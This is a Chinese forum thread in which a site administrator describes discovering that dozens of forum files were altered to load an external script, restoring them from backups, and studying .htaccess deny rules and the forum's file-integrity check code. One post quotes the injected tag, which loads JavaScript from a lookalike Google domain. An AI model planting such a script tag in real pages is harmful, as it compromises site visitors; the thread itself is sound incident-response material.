• 2779阅读
  • 40回复

论坛被攻击?部分文件被修改加载脚本(文件检查) [复制链接] [手机版]

上一主题 下一主题
离线zhangjingyu

只看楼主 倒序阅读 使用道具 绿 楼主  发表于: 2022-11-10 21:47:06 星期四
7号晚上访问论坛,速度很慢很慢,老是处于加载转圈圈状态。以为是服务器的问题,也没太在意。呼号信息也没能添加,本地研究在后台添加查询,以避免在添加呼号信息时重复添加。不算太成功,但初步有效果,也许可以更完美些,就像注册时如果用户名已经注册了,会直接提示。我想要的是那样的效果,但实现起来似乎不容易,尽量努力吧。继续说正题。

8号晚上访问论坛,还是很慢,我意识到可能出问题了。通过360极速浏览器的“审查元素”功能(相当于查看源代码,但比那个更好),发现论坛被恶意加载了脚本文件!!!


百度那个网址,好像是在138查询,得到如下信息:


赶紧ftp连接查看论坛文件,主要是更新时间,因为被修改的文件应该比较新。除了查看文件的更新时间,还有自己猜想最有可能被添加脚本的论坛文件。然后看到在.htaccess文件中有上面图片中提到的网址,这个文件也被修改了?
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 沙发  发表于: 2022-11-10 22:36:37 星期四  点亮(0)
8号晚上一直忙到凌晨快一点,最后决定ftp下载全部论坛文件,以查看到底有多少文件被修改了。然后用软件对比确认被添加的代码是不是基本一致的,如果没问题,就用本地之前备份的文件进行覆盖。

下载文件是用唯一的电脑,最早买的联想笔记本(后来的东芝本挂了),自动关闭屏幕进行的。让软件自己下载吧,先去睡觉。

9号,昨天,早上6点,被玉华在我手机上定的闹钟叫醒了(从上月25号开始,因疫情原因,儿子在家上网课,直到前两天的8号才返校。用的玉华的手机。所以我的手机有时候会给玉华看会儿,不知道她什么时候定的6点的闹钟)。起来关掉手机,查看ftp下载的文件,自然已经是完成了。躺下又睡不着,玉华又要去莘县给化云送些蔬菜,只好起来,一起吃饭。然后以主帖提到的网址进行整个文件夹搜索,找到了78个文件。想不到这么多!用软件和本地之前的备份进行对比,基本添加的内容,都是添加脚本的那行代码,其它的地方没有搞破坏。于是,用本地备份进行覆盖。测试访问论坛,是快了些,但似乎离正常还差点儿。完成后,去上班。


昨天晚上回到家,继续测试论坛,怎么还有那个脚本呢?心里很是郁闷,文件被再次修改?继续ftp查看文件的更新时间,后来又想起后台似乎有查看文件是否被修改的功能。于是又到后台,在“数据-文件检查”的“程序文件检查”里有文件的最后修改时间,然而它是按照文件名升序排序的,想查看修改时间不太方便,而且可能不是全部论坛文件,应该是列出了部分重要的文件和文件夹。在“文件搜索检查”里可以查看哪些文件里有你想搜索的关键词,这里列出了论坛所有目录,所以应该是全局搜索。

这回(从9号晚上)忙到了凌晨1点半多,最后为了确定到底哪些文件有改动,只好再次备份全部论坛文件。只是,这次,笔记本的屏幕没能关闭,一直都是亮着的。不管了,睡觉也要紧。大概4点25分,起来看过一次。6点的时候,玉华起来做饭,我又醒了看一次。只是,这次没有起床,再睡会儿。

再次在下载回来的整个论坛文件中搜索,没有发现相关脚本代码,谢天谢地!
—————————————————分隔线————————————————————
“程序文件检查”里不是按文件名,也不是按大小,也不是按修改时间排序,那它到底是怎么排的呢?好奇怪啊!2022.11.12
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 板凳  发表于: 2022-11-10 22:47:02 星期四  点亮(0)
这次添加的脚本代码,时间应该是上个月的28号,那为什么直到前两天才感觉到在电脑上访问论坛的速度很慢呢?而且更奇怪的是,用手机访问似乎一点影响都没有,难道手机上不加载js脚本文件?不可能吧!
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 地板  发表于: 2022-11-10 22:54:11 星期四  点亮(0)
反正文件都下载回来了,为了更彻底,以“https .js”(和,指同时包括这两个关键词)进行搜索。结果,还真有,只是似乎从来没有感觉到它们给论坛的访问速度造成明显的影响。但既然是不明脚本,自然都得清除掉。



最后,粘贴个脚本,示被恶意添加的代码。是什么百科吗?不理解。
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>';
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 4楼 发表于: 2022-11-10 23:03:53 星期四  点亮(0)
再回头说说主帖提到的.htaccess文件中被添加的第一行代码:
deny from 104.21.83.231
起初我以为是被恶意添加的,和上面的脚本一样。也曾经删除后覆盖,但后来一想不对,它似乎是禁止那个网址的意思,于是还原后再次覆盖。只怪自己的英语不好,deny就是否定,否认,拒绝的意思。百度搜索找到一篇文章:
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 5楼 发表于: 2022-11-10 23:05:09 星期四  点亮(0)
用.htaccess屏蔽/禁止IP访问
有时候我们会面临垃圾留言和恶意镜像网站的骚扰,这个时候用.htaccess文件可以屏蔽某IP或IP段的访问。
代码如下

Order Allow,Deny
Allow from all
Deny from 104.194.16.230 104.194.16.231

允许所有,禁止 XXX,请将里面的IP改成你要封杀的IP地址。
并另存为.htaccess,上传到网站根目录,一般为public_html,某些是htdocs,部分程序会有这个文件,例如WP,直接添加到里面即可。
禁止ip段

Order Allow,Deny
Allow from all
Deny from 192.168.1

以上相当于禁止192.168.1.1-192.168.1.254整个段
附录:使用详解
Allow和Deny可以用于apache的conf文件或者.htaccess文件中(配合Directory, Location, Files等),用来控制目录和文件的访问授权。order,顾名思义是顺序的意思,所以order命令可以决定deny和allow起作用的顺序,通俗的说就是谁排在最后那么谁就有最终的决定权。

order deny,allow和order allow,deny的区别也就显而易见了,前者的意思是先检查是否有deny命令,不论有没有都会再继续检查是否有allow规则,如果有,allow规则的内容可以覆盖掉deny规则。例如,
Order Allow,Deny
Allow from ip1
Deny from all
本意是想禁止ip1的访问,而允许其他所有ip访问,但显然用反了顺序,按照谁在后谁最大的原则,deny是掌握大权的人,所以deny from all就将allow的命令否决了。正确的写法应该是:
Order Deny,Allow //先检查Deny,并由Allow拍板
Deny from all //Deny命令要求禁止所有ip的访问
Allow from ip1 //Allow说只允许ip1访问
结果:只允许ip1访问网站,禁止其他所有ip的访问。
按照这个原则,还有如下应用。
禁止特定ip的访问
order allow,deny
allow from all
deny from 1.1.1.1 ;写要封的IP
禁止部分ip,其他的全部开放的两种写法
Order Deny,Allow
Deny from ip1 ip2
或者
Order Allow,Deny
Allow from all
Deny from ip1 ip2
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 6楼 发表于: 2022-11-10 23:08:05 星期四  点亮(0)
再细想,这行代码有可能是空间提供商添加的。但到底怎么回事,我也不得而知,也不是没想过要他们帮忙处理,最后还是没有。可能会(找他们帮忙)吧,看能不能帮忙写个简单的程序文件,以查看那些最近被修改过的文件,列出来。这样,就方便多了,也就用不着必须下载全部论坛文件了。
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 7楼 发表于: 2022-11-10 23:10:14 星期四  点亮(0)
然后,还有什么?备份一段代码,1楼提到的“文件检查”的有关代码:
  1. } elseif ($adminitem == 'filecheck') {
  2.     /*程序文件检查*/
  3.     if(!$files = readover('admin/safefiles.md5')){
  4.         adminmsg('safefiles_not_exists');
  5.     }
  6.     $files = explode("\n",$files);
  7.     $md5_a = $md5_c = $md5_m = $md5_d = $dirlist = array();
  8.     safefile('./','\.php',0);
  9.     safefile('admin/','\.php');
  10.     safefile('api/','\.php|\.html');
  11.     safefile('apps/','\.php|\.htm');
  12.     safefile('hack/','\.php|\.htm');
  13.     safefile('js/','\.js',0);
  14.     safefile('lib/','\.php|\.html');
  15.     safefile('mode/','\.js|\.php|\.htm');
  16.     safefile('require/','\.php');
  17.     safefile('simple/','\.php');
  18.     safefile('template/','\.php|\.htm');
  19.     safefile('m/','\.php');
  20.     foreach($files as $value){
  21.         list($md5key,$file) = explode("\t",$value);
  22.         $file = trim($file);
  23.         if(!isset($md5_a[$file])){
  24.             $md5_d[$file] = 1;
  25.         } elseif($md5key != $md5_a[$file]){
  26.             $md5_m[] = $file;
  27.         } else{
  28.             $md5_c[] = $file;
  29.         }
  30.     }
  31.     $cklog = array('1'=>0,'2'=>0,'3'=>0);
  32.     $md5_a = array_merge($md5_a,$md5_d);
  33.     foreach($md5_a as $file=>$value){
  34.         $dir = dirname($file);
  35.         $filename = basename($file);
  36.         if(isset($md5_d[$file])){
  37.             $cklog[2]++;
  38.             $dirlist[$dir][] = array($filename,'','','2');;
  39.         } else{
  40.             $filemtime = get_date(pwFilemtime($file));
  41.             $filesize  = filesize($file);
  42.             if(in_array($file,$md5_m)){
  43.                 $cklog[3]++;
  44.                 $dirlist[$dir][] = array($filename,$filesize,$filemtime,'3');
  45.             } elseif(!in_array($file,$md5_c)){
  46.                 $cklog[1]++;
  47.                 $dirlist[$dir][] = array($filename,$filesize,$filemtime,'1');
  48.             }
  49.         }
  50.     }
  51. } elseif ($adminitem == 'cachecheck') {
  52.     /*缓存目录检查*/

$filemtime = get_date(pwFilemtime($file));这行应该是获取文件时间,我们能不能加个时间判断,以在后台突出显示?也就是大于某一个时间,显示为红色等,可以单独增加一列。
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 8楼 发表于: 2022-11-10 23:23:23 星期四  点亮(0)
保存在文档中的时候没仔细看,刚才细看之下,有发现:
$dir = dirname($file);
$filename = basename($file);
一个应该是获取路径的函数,一个是获取文件名的函数,它们正好是互补的。
另外,“这行应该是获取文件时间”,更准确一点应该是获取文件的修改时间,而这个应该是pwFilemtime()函数实现的。时间关系,今天先到这里吧,洗洗脚去睡觉,这两个晚上也没睡好,糟心呐。
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!
离线zhangjingyu

只看该作者 9楼 发表于: 2022-11-10 23:25:29 星期四  点亮(0)
现在,访问速度正常,又恢复活力了。
尊重每位祺师,做有价值的祺文化社区!欢迎光临,并感谢您的支持与陪伴!
我希望能通过这个论坛让更多的朋友更多的关爱自己的家人和朋友,不要等到有一天失去后才知道没有好好的珍惜,才知道
拥有的珍贵!亲爱的们,如果你懂得,请把这份关爱传递,让更多的人加入到爱心接力当中,让每个人的心中都洋溢着爱的温馨!

我们应该知道:岁月如梭!其实生命,是很短暂,也是很脆弱的东西…… 设置自己的帖子签名请点这里!